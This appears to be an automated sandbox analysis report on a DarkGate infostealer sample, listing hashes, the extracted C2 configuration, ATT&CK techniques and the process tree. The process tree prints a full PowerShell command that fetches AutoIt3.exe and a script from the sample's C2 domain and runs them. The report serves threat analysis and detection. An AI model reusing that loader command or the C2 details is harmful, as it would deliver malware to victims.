darkgate | 00f25f4e27938650e42747fc5b85d87e040d8c79db82c72ccf05ca03c8d32771

Analysis

max time kernel
122s
max time network
166s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
07/11/2023, 16:23

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General

Target
5f475d11b0914f11.js
Size 254KB
Sample231107-tvsf5sbf5s
SHA256 00f25f4e27938650e42747fc5b85d87e040d8c79db82c72ccf05ca03c8d32771
MD5 40e1292e9b1fe1a88b32b99e3ca9f72f
SHA1 5a0403673919d994412f4635998e8f8a3ac315a8
SHA512 3ed3109bd47fe056f01a5c6cb912addf2a90e9e55e1c412d3641d42335f80058594e2294b5c4cb6fd6d728add7a03115807595c87a4ff32149e93624dbad8e67
SSDEEP 6144:Ne7hgXeerjqlI2Iro+qg3e7hgXeerjqlI2Iro+8:NIhgSlI23tKIhgSlI23V
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate user_871236672 stealer

Malware Config

Extracted

Family

darkgate

Botnet

user_871236672

http://8sjimonstersboonkonline.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
2351
check_disk
false
check_ram
true
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
hxFtopOWuHrZAv
internal_mutex
txtMut
minimum_disk
41
minimum_ram
6002
ping_interval
4
rootkit
true
startup_persistence
true
username
user_871236672

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
27	4408	powershell.exe
32	4408	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3125601242-331447593-1512828465-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4804	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4408	powershell.exe
4408	powershell.exe
4408	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4408	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 984 wrote to memory of 4408	984	wscript.exe	88
PID 984 wrote to memory of 4408	984	wscript.exe	88
PID 4408 wrote to memory of 4804	4408	powershell.exe	90
PID 4408 wrote to memory of 4804	4408	powershell.exe	90
PID 4408 wrote to memory of 4804	4408	powershell.exe	90

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5f475d11b0914f11.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/tepp' -Type Directory -Force;cd 'C:/tepp'; Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://8sjimonstersboonkonline.com:2351/msiasfgadcz' -OutFile 'asfgadcz.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'asfgadcz.au3'"; Stop-Process -Name "WScript"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4408
- - C:\tepp\AutoIt3.exe
    "C:\tepp\AutoIt3.exe" asfgadcz.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_yvi0ofxq.lxm.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yvi0ofxq.lxm.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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AutoIt3.exe

Path C:\tepp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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asfgadcz.au3

Path C:\tepp\asfgadcz.au3
Size 622KB
SHA256 89b9d335c4c669acf78b86ac3f57574de82aa2edd7c2415e32c596b01f5bb5b3
MD5 a70fcfc7aa30e9510e317ace61e36d58
SHA1 673f520759ece31f36b436c9a66f301bcdaed96d
SHA512 9ce83dc4336dcc08622d22d0ab71bf0327b8851bced36fcd237087bb7ad0f109d4b0d4a1a2438ac638886999c6693bb0a8d1e776d81f9a1e50db17ad82b8b2dc
SSDEEP 12288:WgG+Yf5s1PnFOGSwzBClKbrdjEd87Eos+n/:RGHf5+PFOGSw0qo9W
MD5 SHA1 SHA512 SSDEEP

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memory/4408-5-0x000001E66A820000-0x000001E66A842000-memory.dmp

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memory/4408-10-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

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memory/4408-11-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

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memory/4408-12-0x000001E66A9F0000-0x000001E66AA00000-memory.dmp

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memory/4408-26-0x00007FFEBB7B0000-0x00007FFEBC271000-memory.dmp

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memory/4804-29-0x0000000003AD0000-0x0000000003CD0000-memory.dmp

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memory/4804-30-0x00000000047D0000-0x0000000004965000-memory.dmp

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memory/4804-31-0x00000000047D0000-0x0000000004965000-memory.dmp

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